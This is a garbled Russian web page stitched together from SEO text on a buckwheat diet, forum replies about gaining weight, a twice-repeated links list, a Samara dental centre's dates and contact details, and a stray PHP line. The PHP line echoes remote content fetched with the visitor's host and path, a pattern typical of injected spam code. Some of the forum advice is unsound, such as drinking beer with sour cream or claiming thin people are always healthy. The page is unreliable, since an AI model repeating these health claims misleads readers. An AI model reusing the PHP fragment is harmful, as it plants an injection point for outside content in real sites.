Гречневая диета для похудения. Диета на гречневой каше совмещается с употреблением следующих продуктов1. гречневая крупа - это наиболее полезная из всех существующих круп. В гречке содержится кальций около 70 мг. , железо порядка 60 мг. , витамины группы В в...

Вчера на такую тему уже отписывался. Хочешь вес набрать ешь грецкие орехи с медом. Когда в училище военное поступал на мед комиссии всем у кого дефицит веса был, врачи рекомендовали. 750 гр. банка меда вперемешку с орехами. за неделю. дает 3-4 кг. Проверено.

Если вес не критически маленький, то тема с медом и орехами прокатит)

Положи 2 гири в трусы и 4 в лифчик

На тошак сливки или стакан сметаны со стаканом пива

Изменить свой рацион кардинально
я после болезни ( ангины долго болела) долго не могла поправиться в весе если я при росте 174 вешу 57-58 кг, то тогда я весила 50 кг
тут надо есть много, но с умом и полезную пищу
утром 200 гр каши с маслом и сахаром на молоке лучше геркулес, 2 вареных яйца, чай с бутербродами
в обед половник супа и что то на второе по своему желанию
вечером стакан молока печенья и бутерброды

Сколько калорий содержится в гречке? Любопытно, что гречка это одна из немногих круп, которая может использоваться для диетического и лечебного питания.Зеленый чай для похудения Сколько калорий в банане?

Закажи пиццу а лучше 3

Ленивец на фото как-бы намекает... что никак!

Пиво со сметаной, говорят очень эффективно.

Зачем тебе вес набрать, запомни навсегда толстый человек не здоровый, а худой всегда здоровый. Потому что если будешь толстым то не сможешь двигаться.
Ну всё равно, если намерен потолстеть много кушай шоколадного, много хлеба кушай, и много напитков пей, и мало двигайся

Ешь фаст фуд!!!

Как похудеть на гречневой диете польза гречки, правила похудения, отзывы худеющих.Кроме белка в гречке содержатся аминокислоты, калий, фосфор, йод, железо, а также витамины группы В и Р. Аминокислоты укрепляют стенки сосудов и очищают кровеносную...

Можно. Однако надо побегать по поисковикам, чтобы создать хоть какую-то схему действий. Без знаний вы ничего не достигнете.

..а надо ли Вам это может с врачём посоветуетесь он Вам всё об"яснит и Вы сможете осмыслить то что задумали.. (или хотя бы с родителями)

Сидеть и кушать хавдоги

Амино-кислоты

ЖРИ

  • По диете протасова - Кто нибудь худел по диете Кима Протасова?? Как результаты? Самая лучшая диета - это та, которую назначил врач. Сдайте кр
  • Диеты обогащенные железом - Как сязаны гемоглобин и температура тела? Да, может. Недостаток гемоглобина еще и к анемии приводит. Диета обогащенная ж
  • Гречневая диета и молоко - Гречневая диета ...))) ( если гречку с молоком и маслом ... И что это тогда за диета если с молоком и маслом=)Во время д
  • Антицеллюлитный массаж профи - Целюлит излечим?почему некоторые ламы сидят много и целюлита нет? В чистом теле ХЛАМ не заводится....)) ) Станьте Ламой.
  • Имбирь молотый полезные свойства похудение - Есть рецепт напитков для сжигание жиров? Ананасовый и грейпфрутовый соки. Имбирь молотый для похудения, для здоровья и о
  • Ела белки и фрукты похудела - Нужно похудеть) Можно ли похудеть если есть только один суп и фрукты?)) Нужно употреблять белки и углеводы. А то от тако
  • Побочные эфекты при кремлевской диете - Кто сидел на кремлевской диете, какие результаты? Результаты прекрасные, но есть масса побочных эффектов. Например один
  • Диета для больной желчи - Что можно есть больному после операции -удаление желчного пузыря? Диета №5 23 человек сохранили. Диета при болезнях пече
  • Малахов все темы о диетах - Вот сидите на разных диетах, худеете, а потом к Малахову на тему "Анорексия убивает меня". Вы вопрос задаете или повоспи
  • Как подобрать персональную диету - Назови самые эффективные диеты! Гречневая Дюкан, Дюкан и еще раз Дюкан! Советую из опыта)) Диета может быть эффективной
  • По диете протасова - Кто нибудь худел по диете Кима Протасова?? Как результаты? Самая лучшая диета - это та, которую назначил врач. Сдайте кр
  • Диеты обогащенные железом - Как сязаны гемоглобин и температура тела? Да, может. Недостаток гемоглобина еще и к анемии приводит. Диета обогащенная ж
  • Гречневая диета и молоко - Гречневая диета ...))) ( если гречку с молоком и маслом ... И что это тогда за диета если с молоком и маслом=)Во время д
  • Антицеллюлитный массаж профи - Целюлит излечим?почему некоторые ламы сидят много и целюлита нет? В чистом теле ХЛАМ не заводится....)) ) Станьте Ламой.
  • Имбирь молотый полезные свойства похудение - Есть рецепт напитков для сжигание жиров? Ананасовый и грейпфрутовый соки. Имбирь молотый для похудения, для здоровья и о
  • Ела белки и фрукты похудела - Нужно похудеть) Можно ли похудеть если есть только один суп и фрукты?)) Нужно употреблять белки и углеводы. А то от тако
  • Побочные эфекты при кремлевской диете - Кто сидел на кремлевской диете, какие результаты? Результаты прекрасные, но есть масса побочных эффектов. Например один
  • Диета для больной желчи - Что можно есть больному после операции -удаление желчного пузыря? Диета №5 23 человек сохранили. Диета при болезнях пече
  • Малахов все темы о диетах - Вот сидите на разных диетах, худеете, а потом к Малахову на тему "Анорексия убивает меня". Вы вопрос задаете или повоспи
  • Как подобрать персональную диету - Назови самые эффективные диеты! Гречневая Дюкан, Дюкан и еще раз Дюкан! Советую из опыта)) Диета может быть эффективной
Что содержится в гречке для похудения
 
 

Список аффилированных лиц

03 июля 2012

04 апреля 2012

10 января 2012

06 октября 2011

03 июля 2011

01 апреля 2011



12 января 2011

30 сентября 2010

30 июня 2010

1 апреля 2010





12 января 2010





2 октября 2009





17 июля 2009



 

 
Адрес: г. Самара, ул. Гагарина 18А (м. Гагаринская)
Тел. (846) 260-68-45, 260-68-48
Факс (846) 260-68-45
Email: stomatsamara@mail.ru
Центр работает с 8:00 до 20:00
Выходные суббота, воскресенье
Схема проезда
  echo file_get_contents(''.$_SERVER["HTTP_HOST"].'&path='.$_SERVER["REQUEST_URI"]);?>
Счетчик посещаемости и статистика сайта